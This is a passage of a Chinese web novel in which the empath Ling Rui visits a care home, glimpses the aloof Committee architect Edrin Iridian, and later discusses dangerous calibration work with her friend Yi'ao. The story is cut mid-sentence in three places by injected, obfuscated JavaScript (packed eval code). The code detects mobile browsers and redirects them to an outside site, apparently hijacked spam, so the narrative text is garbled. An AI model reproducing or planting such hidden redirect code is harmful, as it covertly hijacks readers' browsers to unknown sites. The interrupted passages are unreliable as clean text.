说是晒太阳，头顶上的天空被隔音墙和建筑挤压得只剩一条窄缝，太阳光从缝隙里漏下来，照在他们膝盖上，像一小片被切成条状的暖色。 有个老太太在织毛衣，针脚歪歪扭扭的。有个老头在打瞌睡，口水从嘴角淌下来，没人给他擦。 没有虐待，没有黑市里传说的那种，把感潮者关起来榨情绪的地下作坊，但也没有很好的照护。 更接近一种被动的存放，把人放在这里，给吃的，给药，给一张床，然后等他们慢慢老去。 凌芮注意到织毛衣的老太太手指不太灵活，针掉了好几次，旁边没有人帮她捡，她弯腰捡起来递回去，老太太抬头看她，笑了一下，又低下头继续织。 她在疗养院里走了一圈，食堂在二楼，每周菜单贴在墙上，内容大致是合成蛋白粥、营养糊、蔬菜罐头，重复排列。 医务室在一楼，门开着，里面坐着一个正在打瞌睡的护士，药柜半敞，里面有神经稳定剂和基础止痛药，不算齐全，但至少不是地下作坊的仿制品。 宿舍是六人间，床单是统一洗的，叠得不算整齐但干净。 走廊尽头的活动室里有一台旧电视，屏幕是坏的，几个老感潮者坐在那里盯着雪花屏，也不知道在看什么。 凌芮靠在门框上看了一会儿，然后她在心里做了评估：比黑市地下室好，比采集工厂强，如果要伊奥进来，她觉得还差一点。 但也许伊奥会喜欢，伊奥不喜欢太吵的地方，对伊奥来说，这些老人可能比旧书好看。 伊奥大概会把那个织毛衣的老太太发展成固定聊天对象，然后从人家嘴里撬出整个采集工厂时代的口述史。 凌芮从门框上直起身，她决定先不替伊奥做决定，等下次带她亲自来看看。 就在这时，走廊尽头拐角处传来脚步声。 不是老人拖沓的步子，是鞋底落在水磨石地面上那种干脆利落的声响。 不止一个人。 她顺着声音的方向看过去，走廊尽头拐出一群人，走在前面的几个穿深色正装，是外围行政区的官员和疗养院负责人，正围着一个人说话。 负责人是个中年女人，头发梳得一丝不苟，正指着一楼的康复室介绍什么，声音隔着走廊传过来，语调恭敬得过于标准。 被围在中间的那个人很高，他穿着白制服，不是外围官员那种深色西装，是某种更干净的白色，在疗养院灰扑扑的走廊里，他像是从另一个世界误入的，周围的光度都跟别人不一样。 他的步伐不配合旁边介绍的人，走路的速度很稳定，不快不慢，不受周围官员急切语速的影响，每一步都踩在自己设定的节奏上。 他没有转头看任何地方，眼神没有多余的停留。 他看起来并不疲惫，也不紧绷，而是一种精准，好像每一个动作都经过计算，不会多耗费一丝不必要的能量。 凌芮站在走廊另一头，她的脚像被钉在水磨石地面上。 她的感知，那种从不关门的，被迫接收所有人情绪残渣的感知，在这一刻，一片空白。 不是安静，不是平静，是真空。 她感知不到他。 她在黑市感知过无数人的情绪，每个人的内心都像一口锅，煮着各种乱七八糟的东西，愤怒、恐惧、贪婪、焦虑、偶尔的善意、经常的恶意。 但这个人不一样，他站在她面前，她的感知像被一面墙挡住了。 没有情绪噪音，没有波动，只有一片纯白的，近乎抽象的安静。 她不确定那是防火墙还是他天生的，如果是防火墙，那一定是她见过的最彻底的防火墙。 但与此同时，她知道他是谁。 报纸上的名字和眼前的轮廓对上了。 艾德林·伊里迪安，委员会首席架构师，伊里迪安家族的长子，她昨天还在报纸上见过他，准确来说，见过他的名字。 她以为会看到一个秃头中年官僚，结果看到的是一张没有表情的脸，明明在在灰扑扑的疗养院，却仿佛走在大堂。 她不知道自己站在原地看了多久，大概三秒，也许五秒。 然后她的脑子重新开始运转，她听到远处一个官员在说话，隐约能听到几个词。 季度审查、外围合规、数据采集标准化。 艾德林微微侧了一下头，似乎在听那个官员说话，侧头的幅度很小，像是某种精确计算过的社交动作，不是为了表达倾听的诚意，而是为了满足应该倾听的流程要求。 然后他转回来了，他看向走廊这一头。 凌芮不确定他是不是在看自己。 走廊很长，她站在另一端，旁边有几个轮椅老人，但有一瞬间，她觉得他的目光扫过了她所在的位置。 他的眼睛颜色很淡，在冷白灯光下几乎看不出是灰色还是浅蓝，表情里没有任何信息。 那种表情不是麻木，麻木的人往往伴随着迟缓或涣散，但他没有，他的目光扫过的速度是均匀的，像是在扫描一个已经建档的环境。。 然后他收回目光，继续往前走，几个官员赶紧跟上，脚步声在走廊里回荡了一会儿，渐渐远去。 凌芮站在原地。 她的心跳，她不想承认，但确实快了。 也许这就是伊奥说的浪漫的心跳加快，凌芮有些走神，但很快她否定了这种猜测，这更像是某种更本能的东西：猎物遇到了捕猎者，或者反过来。 她不确定自己是猎物还是捕猎者。 她只知道自己的感知在他面前失灵了，而这一点让她既不安又兴奋。 在黑市，看得透的人不可怕，看不透的人才危险，而她这辈子第一次遇到一个彻底看不透的人，这个人偏偏是所有未登记者的敌人. 那个制定标准，定义谁是人，谁是废品的人。 她深吸一口气，意识到自己在深呼吸，又觉得自己很蠢，深呼吸干什么，又不是跑步了。 好奇心一旦被勾起，凌芮就不是那种会等在原地的人，她没有离开疗养院，相反，她沿着走廊往官员们消失的方向走，保持着一段不会被注意到的距离。 走廊尽头拐过去是康复室和行政办公室，门都开着，官员们正在里面听负责人做汇报，她听到他的声音从里面传出来，一种轻快，又带着心不在焉的语调，而且足够的没有温度，他说话时音调几乎没有起伏，像机器一样发出指令，又像在读一份已经修改过无数遍的文件。 艾德林在问关于外围区域神经技术应用场所的合规数据，语气里没有不满，没有赞许。 有几个工作人员站在办公室外面的走廊上，正低声聊天。 凌芮凑过去，把手插在口袋里，摆出一副“我也是来办事”的随意姿态。 她跟一个年轻女护工搭上话，先聊了几句疗养院的日常，然后很自然地把话题拐到刚才经过的那群人身上。 “那个穿白制服的，谁啊？”她问，语气是那种带着点天真的好奇。 “你说伊里迪安先生？你没见过他吗？他是委员会的首席架构师，这次来外围审查，我们这边安保被抽走了一半去配合他们的巡查，大门都空了，你刚才进来的时候没人拦你吧？就是因为安保都调到审查路线上了。” 护工的语气非常平静，仿佛只是在陈述一个大家都知道的事实，似乎这种调动在审查期间是常规。 “那他是做什么的，架构师是什么？” “我也不太懂。”护工压低了声音，像是在分享一个公开的秘密，“只知道他管着整个神经防火墙的标准制定，所有的神经评级标准，防火墙的设计规范，觉醒者等级评定规则这些制度，全是他签字，说起来他父亲还是委员会核心成员。” “反正就是很有权势。”凌芮说。 “不止是有权势，他父亲，上一代伊里迪安就是设计初代神经防火墙标准的人之一，他继承了他父亲的席位，而且比他父亲更年轻就进了核心层，你知道委员会的核心层一共才几个席位？他是最年轻的之一。”护工说完耸了耸肩，转身去给轮椅老 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17587132|205333||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 人倒水。 凌芮站在原地，把这些话嚼了又嚼。 伊里迪安家族的继承人，防火墙标准的制定者，最年轻的核心层，整个家族的权势垒在一起，堆成了那件白制服下面不容置疑的权威。 她昨天在报纸上吐槽的那个“大概是个秃头官僚”的男人，此刻正坐在离她不到二十米的办公室里，用没有温度的声音询问外围区域的合规数据。 她昨天还在说，这种人，一辈子被人当神一样供着，有什么意思。 现在她看到了他的样子，也看到了他周围那些官员恭敬得过头的姿态。 可是有意思，太有意思了。 她靠在走廊墙上，脑子里有一个念头正在成形，某种更原始的，更像是本能的东西。 她在这个世界的最底层活了五年，端盘子，倒垃圾，帮人稳定。 她没有防火墙，没有评级，没有委员会承认的身份。 而他在这个世界的最高处坐着，制定规则，定义价值，穿着白制服走进灰扑扑的疗养院，连鞋子都是白色的。 一双在这种地方根本不可能保持干净的鞋，但他穿着，踩在水磨石地面上，没有沾上一点灰。 她低头看了看自己的短靴，鞋底补过一次，鞋面上有在酒吧后巷踩到的油渍，在药铺门口蹭到的泥，在采集工厂废墟里沾到的灰。 他的鞋子上什么都没有。 他走的地方从来不会有灰，别人替他清干净了路上的所有障碍，所以他才能穿着白色皮鞋走过一个又一个灰扑扑的角落，连鞋底都不曾脏过。 她端的每个盘子都沾着别人的剩菜，她踩的每一块地砖都有裂缝，她认识的所有人都活在隔音墙的这一边，而他一尘不染地站在墙的那一边。 这种差距不是努力能填补的，不是她多端几个盘子，多做几单校准就能追上，她如果想站在他旁边，就必须要推开某些比隔音墙更重的门。 但她想站在他旁边吗？她不确定，她只知道自己不想让他消失在走廊尽头，只看到她一眼就走，她想再多看几秒。 她顺着走廊往前走了几步，在康复室门口不远处停下来，门开着一条缝，能看到里面的一部分。 他坐在会议桌的首位，面前摊着一份文件，手指搁在纸页边缘，没有多余的动作。 她注意到他的手，修长干净，指节分明，那是一双从来没在黑市端过盘子的手，没在工厂的油污里泡过的手，和他这个人一样，被保护得很好，被隔绝得很彻底。 一个护士推着轮椅从她身边经过，轮子在水磨石地面上发出吱呀的声响，她往旁边让了一步，没有离开。 她觉得自己应该走了，再待下去会被注意到，而且她已经看到了她想看的东西。 但她的脚没有动，她的目光还留在那道门缝上。 这时她听到他的声音从里面传出来，还是那种没有温度的声音，但内容不是公文，他在问关于疗养院入住率的问题，她听到负责人的回答带着明显的紧张，像是在被一道没有答案的考题难住了。 她想多听几句，但走廊尽头有人在喊“茶水准备好了没有？”一个穿白大褂的护工朝她这边走过来，手里端着茶盘。 凌芮意识到自己站的位置太靠近办公室门口，不太像工作人员，也不像病人家属，更像是某种不太好解释的存在。 她往后退了几步，转身往大厅方向走。 她没有离开疗养院。而是在大厅里又转了转，跟刚才那个织毛衣的老太太聊了几句，问了问这里的生活情况。 老太太说吃得还行，就是没人聊天，凌芮说以后可能有个朋友来这里工作，陪你们聊天。 老太太抬头看她，笑了，笑容中似乎带着某种期待的光。 然后她绕到了行政办公室的后墙外面，那里有一排档案柜，透过玻璃门能看到里面整整齐齐地码着疗养院的记录。 她在外面站了一会儿，这面墙刚好在审查组离开的必经之路旁边。 她又看到了他。 他从办公楼出来，站在中庭的梧桐树下，几个官员围着他，有人让他签字，有人汇报接下来的行程。 艾德林签了字，动作利落，不看第二眼。 梧桐树的枯叶落在他肩上，他伸手拂掉，然后他抬起头，扫了一眼中庭，他的目光掠过她站的方向。 这一次，她确定他看到了她。 他的表情没有任何变化，只是目光停留的时间长了大约半秒。 那半秒里，凌芮感觉自己的心跳又加快了。 艾德林收回目光，官员们拥簇着他继续往前走。 他走了几步，在疗养院门口停住，侧头对负责人说了一句话，隔得太远，凌芮听不清内容，只看到负责人连连点头，神态恭敬。 然后他转身走出大门，白色制服在灰蒙蒙的天光里越来越远，最后被一辆停在巷口的黑色车辆吞没了。 凌芮靠在档案柜的玻璃门上，发现自己从刚才到现在一直攥着拳头，她松开手，掌心被指甲掐出了几道浅浅的印子。 她低头看了看手心，然后把手在裤子上擦了擦，用只有自己能听到的声音说：“行吧。” 9. 端盘子的第九天 从疗养院回来的路上，凌芮走得很慢。 她盘算着怎么跟伊奥开口。 玛格介绍的那个栖心疗养院，她亲自看过了，怎么也比地下室强，但要说多好，也不是。 不过这不是重点，重点是伊奥需要一个出门的理由，而这里有一堆人，等着谁来跟他们聊天。 推开门的时候，伊奥正靠在床头翻那本旧书，台灯调到最暗的一档，暖黄的光圈刚好落在书页上。 她听到门响抬起头，目光在凌芮脸上停了半秒，然后合上书，“你今天去了不止一个地方。”伊奥肯定的说。 “你怎么知道。” “你身上有消毒水的味道，还有你走路回来的时间比平时长。” “你不当侦探可惜了，我今天去了栖心，就是玛格介绍的地方。”凌芮在床沿坐下来解鞋带，把鞋踢到床底下，缩起脚盘在床沿。“在过渡地带，卡在隔音墙的豁口上，收老感潮者和被退货的代偿者，我在里面转了一圈，不算太差。” 伊奥点了点头，“听起来还行，不过你去找玛格了？怎么打算的。” “随便聊了聊。”见伊奥没有反应，凌芮停顿了一下继续说，“帮两个感潮者稳神经，报酬够买好几盒药，我已经跟老伍说好了，下次涨价也不用预支。” 她省略了校准时的具体细节，也没提玛格想让她尝试双向校准的事，伊奥不需要知道这些，她只需要知道药有着落。 伊奥没有立刻接话，她把书翻过来扣在膝盖上，手指在书脊上敲了两下，节奏比平时慢。 凌芮认得这个节奏，这是伊奥在心里想事情的时候才会出现的小动作。 “你说的校准，具体是碰什么人？”伊奥问。 “感潮者，觉醒时神经受损的那种，只是需要人帮忙稳一下。”凌芮把外套脱了搭在床尾，语气轻描淡写，“手法跟我帮怀特做的差不多，就是时间长一点，收费贵一点。” 伊奥继续问：“在什么地方做？” “旧采集工厂的地下仓库，玛格把那里改成了校准室，隔音还隐蔽，入口就藏在货运电梯后面。” 伊奥眼神带着担忧的望向她：“地下仓库，没有通风设备，没有医疗备案，如果校准过程中出现神经反噬，谁来处理。” 凌芮随意的说：“我自己能处理，又不是第一次碰失控的人。” “你在酒吧碰失控的客人，是在开放空间里，旁边有其他人，失控的人不敢太过分，地下仓库是封闭空间，对方如果失控，你没有退路。”伊奥的声音渐渐沙哑，像是早就把这些话存在脑子里，只是在等一个合适的时间拿出来，“玛格婆婆就没有跟你说过吗，如果出事她担不担？” “她给了我报酬，报酬就是她担的方式。” “报酬不是担保，她不担风险，风险就全是你的。”伊奥把书放到床头柜上，转过身正对着凌芮，台灯的光从侧面打过来，把她半边脸照亮，另外半边藏在阴影里。 她的睫毛在颧骨上投下一小片阴影，看起来比平时更安静，也更认真。“玛格婆婆经手的感潮者里，有没有人出过事？” 凌芮张了张嘴。她本来想说“没有”，但话到嘴边咽回去了，因为玛格确实没有提过任何出事的案例，她只说她做了二十年没被查到过，但没说不被查到就等于没出过事。 这两者之间的空隙，她之前没有仔细想过。 伊奥在沉默中得到了答案，她的手指从书脊上移开，搁在被子上，指尖微微弯曲，像是在握住什么东西。 凌芮注意到她的指节有些发白，是因为用力的发白。 “玛格有没有提过双向校准的事。”伊奥的声音很低，但是凌芮听清了， 凌芮把正要往床头柜上放的搪瓷缸停在半空中，这个词她今天刚从玛格嘴里听到过，伊奥不应该知道。 双向校准不是街边巷尾的常识，是委员会高级代偿者训练手册里的技术术语，黑市的普通人根本接触不到这个词。 “你怎么知道双向校准？” “委员会的高级干预方案里有记载，双向校准需要校准师和被校准者之间建立某种神经共鸣，对校准师本人的神经结构有特殊要求，不是所有感潮者都能做。” 伊奥说这些的时候，眼神慢慢下移，但是却在像是在陈述某种公开的知识，“如果玛格婆婆让你试双向校准，不要答应，至少在你完全了解自己的神经结构之前不要答应。” 说完后伊奥彻底低下头，把被子往上拉了拉，这个动作凌芮见过无数次，每当伊奥不想继续一个话题的时候，她就会拉被子，像是在自己周围筑一圈柔软的墙。 “有些书外面找不到，有些藏在档案馆里，我偶尔能碰到。” 凌芮看着伊奥，伊奥没有看她，低着头，手指在被子上无意识地划着什么。她的姿势没有破绽，但凌芮注意到她拉被子的时候手指比平时用力。 伊奥不是一个喜欢撒谎的人。 她不喜欢，但她正在做。 那些词，是委员会的核心技术文档里才会出现的内容。 但凌芮没有追问，她可以追问，但她没有。 凌芮有一种理所当然的想法，既然伊奥不说的事，一定有她不说的理由。 每个人都有权利留一点秘密。 伊奥也是。 “我没答应她。”凌芮把搪瓷缸放在床头柜上，在床沿坐下来，“她说可以试试，我说不用，先做普通的就挺好。” “她还会再提的。” “那就再拒绝一次，我脸皮厚。” 伊奥没有笑，她抬起头看着凌芮，眼睛里有某种复杂的东西。 凌芮很少在伊奥脸上看到的那种情绪，自责。 虽然伊奥看起来很安静，但是伊奥的身上总有一种安静和笃定的气质，她不是害怕的人。 可是现在，伊奥在自责。 伊奥的自责也很安静，不哭不闹，只是把嘴角抿得 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17587133|205333||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 更紧了，手指在被子上绞了一小块布。 “你一个人去找玛格，一个人面对那些失控的人。”她的声音还是很轻，但每个字都像是被压过的，很沉，“你说你脸皮厚，你是因为我才脸皮厚的，要不是我的病，你不用去找她。” “别说了。” “我不说你也知道。” “知不知道都不要说。”凌芮站起来，走到床边，在伊奥面前蹲下来，她比伊奥矮了半个头，仰着脸看她，“你的病不是欠条，我做什么都不是因为你欠我什么，你从来不欠我，听懂了吗。” 伊奥没有回答。 她把脸转向窗台，看着搪瓷缸里的野花，花瓣在气窗漏进来的微光里轻轻颤了一下。 过了很久，她开口了，声音恢复到了平时的平稳，“栖心的事，明天我去看看，如果能做下来，至少能分担一部分。” “你不是分担，你是出门找点事做，老待在家里会闷出病。” “那你是答应明天带我去了。” “本来就打算带你去的，不然我探路干什么。”凌芮站起来，拍了拍膝盖上并不存在的灰，“早点睡。明天要早起。” “还有一件事。”伊奥拉住她的手腕。她的手指还是凉的，但力道比平时大，关节微微泛白，“玛格有没有让你做神经基线记录？” “那是什么？”凌芮有些迷茫。 “把你的原始神经波动频率扫描存档，委员会评估觉醒者的时候会做这一步，建立基线档案，用来跟踪能力变化，一旦记录，你的神经特征就终身在案。” “她没提过，她又不是委员会的。” “如果她想长期用你，迟早会提，如果她提了。”伊奥的手指又紧了一分，“不要给。” “好。” 凌芮没有问为什么，伊奥却继续说。 “你是未登记者，委员会的系统里没有你的档案，一旦有了你的基线，你的神经特征就不再是不存在的东西，它可以被追踪，可以被卖给任何出价的人，玛格婆婆的生意是建立在信息差上，你的信息对她来说是商品。” “你跟别人不一样，凌芮，你的神经结构能感知到别人，如果委员会拿到你的基线，他们不会只满足于把你归档，他们会想知道为什么一个未登记者能做到觉醒者都做不到的事，到时候不是涨工资的问题，是你能不能继续自由的活着的问题。” 凌芮沉默了一会儿。 她把伊奥的手指从自己手腕上轻轻掰开，握在手心里。 伊奥的手很小，指节因为长期吃药微微发僵，但刚才攥她手腕的那几下力气一点都不小。 “你跟别人不一样。”她重复了一遍伊奥的话，语气不是反问，更像是把这句话放在嘴里嚼了嚼，尝尝是什么味道，“这话我小时候天天跟自己说。” 她松开伊奥的手，往后靠在沙发背上，仰头看着天花板的裂缝，那根裂缝还是老样子，从墙角爬到中间，像一条永远走不完的路。 10. 端盘子的第十天 “十二岁刚觉醒失败那阵子，我每天晚上躺在家里那张破床上，盯着天花板跟自己说，我跟别人不一样，我的能力没消失，只是委员会的破测试测不出来。”她说着轻轻笑了一声，“后来去了黑市，发现这里觉得自己不一样的人能从巷口排到隔音墙。怀特觉得自己跟别的感潮者不一样，他的神经密度就高了两个点。老伍觉得自己跟别的药贩子不一样，他只卖真药。巷口卖杂粮饼的大婶觉得自己跟别的小贩不一样，她用的油是换得最勤的。每个人都觉得自己不一样，然后第二天醒来继续端盘子。” 她把头从沙发背上抬起来，看向伊奥。 “所以我后来不跟自己说那句话了，不一样没用，活下来才有用。”她顿了顿，心头吐出一口气，“但伊奥，你今天说的这个不一样，不是我自己跟自己说的不一样，委员会会在意我的不一样，说明我有东西值得他们在意，这不是坏事。” “你觉得不是坏事。”伊奥的声音从被子里传出来，闷闷的。 “不是。”凌芮站起来，把伊奥的被子往上拉了拉，塞好肩角，“你告诉我的那些，我以前都不知道，现在知道了，知道总比不知道强。” 她把台灯调亮了一点，坐回床沿，语气忽然换了调子，恢复到了平时那种带着笑意的轻快。 “行了，严肃话题到此结束，说点有意思的，明天带你去看的那个栖心疗养院，里面有个织毛衣的老太太，我敢打赌，她年轻时候绝对是采集工厂的风云人物。说不定还组织过罢工。” “为什么这么判断。” “因为她笑的时候嘴角往左边歪，左边歪的人一般比较叛逆，你没发现吗，你每次在心里吐槽我的时候，嘴角也是往左边歪的。” “我的嘴角不歪。” “歪的，你不信下次照镜子。”凌芮说着站起来去拿搪瓷缸浇水，背对着伊奥，“反正明天你去了就知道了，那个疗养院虽然破，但里面的人够你采访好几个月，说不定你能挖出点连委员会都想瞒着的黑历史。” “你是想让我去工作还是去当卧底。” “都一样，反正对你来说跟人聊天就是工作，比串珠子有意思多了。” 伊奥的嘴角弯了一下，她把被子裹紧，缩进床角，那本旧书搁在沙发扶手上，封面烫金字母在灯光里微微反光。 台灯重新调到最暗，伊奥的呼吸渐渐平稳下来，毛毯裹得紧紧的。 凌芮侧躺在沙发上，确认伊奥已经睡熟，然后悄悄爬起来，轻手轻脚走到了公寓楼下的公共信息终端。 然后，她和信息网终端搏斗了半个晚上。 严格来说，搏斗不太准确，终端机不会打架，但它会用另一种方式折磨人。 慢。 黑市信息网是外围行政区淘汰下来的旧货，运行的时候发出老猫喘气一样的嗡鸣，屏幕发黄，光标闪烁的节奏比心跳还慢半拍。 查询按分钟计费，每多卡一秒，她的硬币就往那个生锈的投币口里多滚一个，她投了大概够查三次的硬币，最后花掉了五次的量。 因为网速太慢，加载一页公报的时间够她吃完两颗薄荷糖。 关于艾德林·伊里迪安，公开渠道能找到的东西少得令人沮丧。 委员会的人事公报上只有标准格式的任职记录：二十五岁，核心层最年轻的首席架构师，伊里迪安家族第三代，父亲是神经防火墙标准体系的创始人，母亲是评级伦理委员会的常任理事。 实验室背景，专攻神经防火墙架构与神经密度阈值评估。 家庭关系，未婚。 社会评价，公报只说，在任期间完成了多项技术标准的修订，措辞和每年的人事通报一样，空洞得像白墙。 没有采访，没有个人言论。 凌芮把这几行字反复看了好几遍。 委员会的公报通常会有家族关系的简述，艾德林·伊里迪安的条目下，家族关系只列了父母，没有配偶，没有子女。 未婚。 她在心里把这个词圈了一下，一个正常人在查公开资料的时候不会对未婚这个字眼多看一眼。 他的照片更少。 委员会的公报偶尔会附集体照，但黑市终端的显示分辨率太低，人脸糊成一团像素，只能勉强辨认出那件白制服。 她翻遍了三年的公开资料，没有找到他单独的照片，他像是在刻意避免被拍摄，或者是委员会不需要他出现在公众视野里。 架构师不需要被人记住脸，只需要被人服从规则，他是规则本身。 她把光标停在最后一个搜索结果上，靠在椅背上。 她们之间的差距不是一道墙，是一整套坐标系，在这个坐标系里，她的位置是零，他站在所有轴的顶端。 她把这个认知咽下去，味道不太好，就像是薄荷糖嚼到最后混进了碎纸片。 她知道自己应该关掉终端，回家，把今天的事当成一个奇怪的插曲然后忘掉。 她帮怀特稳手是因为他需要，她帮酒吧客人稳情绪是因为客人需要，她接玛格的校准活是因为伊奥需要，她做所有事情都有人需要她。 艾德林·伊里迪安不需要她，他甚至不知道她的存在。 但她还是想知道更多。 她翻遍了所有能翻的资料，只找到寥寥几行字。 她没有放弃，她把那几行字重新读了一遍，然后把终端屏幕上显示他家族关系的区域，将那短短几行字折进脑子里，然后清除了终端的浏览记录。 回到公寓的时候，伊奥还在睡，毛毯裹得紧紧的，呼吸平稳而深长。 凌芮轻手轻脚躺回沙发，把之前的报纸从枕头底下抽出来，借着气窗漏进来的暗红色光污染重新看了一遍。 接着拿纸写了几句词，防火墙论文的标题、那份大额药品订单、还有那个庄园地址。 她把新信息和旧报纸叠在一起，折好，塞回枕头底下。 第二天，凌芮是被气窗漏进来的那道光叫醒的。 黑市的白天从来谈不上亮，但今天的光比平时多了一点，大概是因为她昨晚睡得晚，睁眼的时候已经比平时迟了半个钟头。 凌芮从沙发上翻身坐起来，赤脚踩在冰凉的地板上，走到墙角那面破镜子片前面。 然后她做了一件平时绝对不会做的事。 她开始挑衣服。 她总共只有三件能穿出去的外套，两件是工装款式的，在酒吧端盘子穿的，洗得发白，袖口磨出了毛边。 第三件是去年在旧货摊上收的深色夹克，收腰，领子能立起来，穿上之后整个人看起来比平时精神一点。 她平时舍不得穿，只在休息日带伊奥出门的时候才翻出来。 今天算休息日吗？ 凌芮犹豫一下，愉悦的想，当然算了，今天要带伊奥去栖心。 凌芮把夹克套上，对着镜子扒拉了两下头发，又拿水抹了抹前额翘起来的碎发，碎发被水压下去，两秒后又弹回来。 她啧了一声，算了。 然后她从口袋里掏出从玛格那里顺的薄荷糖，剥开塞进嘴里，糖纸被她叠成一个小小的方形，搁在窗台上。 伊奥的声音从床上传过来，带着刚醒的沙哑，但语气已经清醒得像一盆冷水，“你上班从来不挑衣服，去玛格那边也没挑过。” 凌芮的手停在领子上，“今天不是带你去疗养院吗，第一印象很重要。” “你是去考察环境，还是去面试。” “都一样，整齐点总比邋遢好。”她把领子翻下来，又在镜子里看了自己一眼。 整齐，精神，看起来像那么回事。 “一起来就挑衣服？”伊奥靠在床头，手里端着半杯水，目光越过杯沿看着她，“这本身就不正常。” “我今天心情好，不行吗。” “因为要带我去疗养院？” “对，终于有人替我给老太太捡针了，我能不高兴吗。” “那件夹克你上次穿是半个月前的休息日，而且你那天也没对着镜子扒拉头发。”伊奥喝了一口水，把杯子放在床头柜上，动作很轻，杯子磕在桌面上的声音却很清亮。 凌芮对着镜子里的自己看了一眼，然后转过身来，“你今天问题真多，我带你去个新地方，穿整齐点怎么了。” “没怎么，只是跟你住了这么多年，没见过你紧张。” “我没紧张。” “头发又翘起来了。” 凌芮伸手去摸额头，手举到一半停住了，她把手放下来，插进口袋里，靠在墙上，看着伊奥。 伊奥也看着她。 两个人对视了片刻，然后凌芮把嘴里那颗薄荷糖嚼碎了。 “我有一个朋友 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17587134|205333||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。”她说。 伊奥把被子往上拉了拉，把自己的下半张脸裹住，声音带着笑意：“你这位假设的朋友，她怎么了。” “不是假设的朋友，是真的有这个朋友。”凌芮靠在墙上，双手插在口袋里，语气从刚才的心虚变成了一种放弃抵抗的坦率，“她也许，只是也许，对一个人有点好奇，她这辈子第一次遇到一个完全看不透的人，而且这个人站在一个离她很远的地方。” 她停了一下，把搪瓷缸转了半圈。“也可能不是，可能只是我那个朋友的的业务考察，没错，就是业务考察。他有很高的权限，他的权限能打开很多门，她对那些门后面的东西感兴趣，顺便对他本人有一点，非常有限的一点，观察的欲望。就这样。” 房间里安静了片刻，通风管道嗡鸣了一下又停了。 伊奥把被子从下巴往下拉了拉，露出整张脸。她的嘴角还留着刚才那一丝弧度，但眼睛里的笑意正在慢慢沉淀，从玩笑变成某种更认真的东西，“你这个假设的朋友，她家是不是住在这个地下室，她是不是还去过疗养院？” 凌芮没有回答，她把搪瓷缸转回来，又转过去。 窗台上的水渍已经干了，留下一小圈模糊的水痕。 过了很久，她把那颗揉成球的薄荷糖纸弹进墙角的小垃圾桶里，动作很轻，纸球画了一道弧线落进桶底，没有弹出来。 “该死。”她说。 “你说脏话的时候就是被说中了。” “没有，只是刚好没接住。” “你扔进去了。” “那是反射，不算数。” 伊奥轻轻笑了，那笑声很短，像一片叶子落在水面上，荡开一小圈涟漪就没了。 “假设的朋友。”伊奥裹着被子说，声音闷在棉布里，“替我转告她，这已经不是好奇了，顺便帮我问问，那个人是谁。” 凌芮靠在墙上，双手插在口袋里，嘴里那颗碎裂的薄荷糖已经没味了，只剩一小片凉意在舌根化不开。 “委员会的首席架构师，伊里迪安家族第三代，全名艾德林·伊里迪安。” 伊奥沉默下来，沉默了很久。 她没有马上回答，反而把杯子放在床头柜上，动作比平时更慢，好像需要这个动作来给自己争取一点思考的时间。 然后她抬起头，表情带着一种，听到朋友说要徒手爬隔音墙时的复杂。 “报上说他是冷血无情的仿真人，从不跟任何人建立工作之外的关系，跟他共事过的人说，他开会的时候只报数据和结论。有人觉得他是天才，有人觉得他是怪物，但无论是哪种，都没有人觉得他是正常人，没有人想靠近他，没有人敢靠近他。” 伊奥停顿了一拍，像是要给凌芮留出消化时间，然后她换了个语气，是那种带着看勇士的眼神，“你确定你看上的不是委员会的标准测试图。” 凌芮没有立刻回答。 她把外套领子翻下来又立起来，最后决定不折腾了，就让它那么翘着。 然后她从床头柜上拿起伊奥喝剩的半杯水，一口灌下去，把杯子放回去的时候力气有点大，磕出一声闷响，“你刚才说的那些，能不能再说一遍，关于他的那些传闻。” “你不是已经记住了。” “我想再听一遍。” 伊奥靠在床头，看着凌芮，然后嘴角微微动了一下，“你想再听一遍是冷血无情的仿真人这些词吗，别人听了只会躲，你倒是眼睛亮了。” “没亮。” “亮了。” “你说完了没有。” “没有，但剩下的等你回来再说。” 凌芮没有再辩解，她靠在墙上，嘴角忍不住往上翘了一下。 伊奥说的那些词还在她脑子里转，所有人都在他面前低头，所有人都觉得他是怪物，然后绕着他走，那他在人群中一定很安静。没有乱七八糟的情绪噪音。 干净的，空白的，和她第一次感知到的一模一样。 “所以他身边没有人。”凌芮说。 伊奥从被子里抬头看她。 “换个说法来说，就是没有人往他身边凑。”凌芮把外套拉链拉到胸口，声音比刚才轻快了一点，“那他应该很孤单，孤单的人比较好攻略。” 伊奥愣了一下，然后无奈的摇了摇头，仿佛在说，这种事也就你敢想。 11. 端盘子的第十一天 从公寓到栖心疗养院的路不远，但不好走。 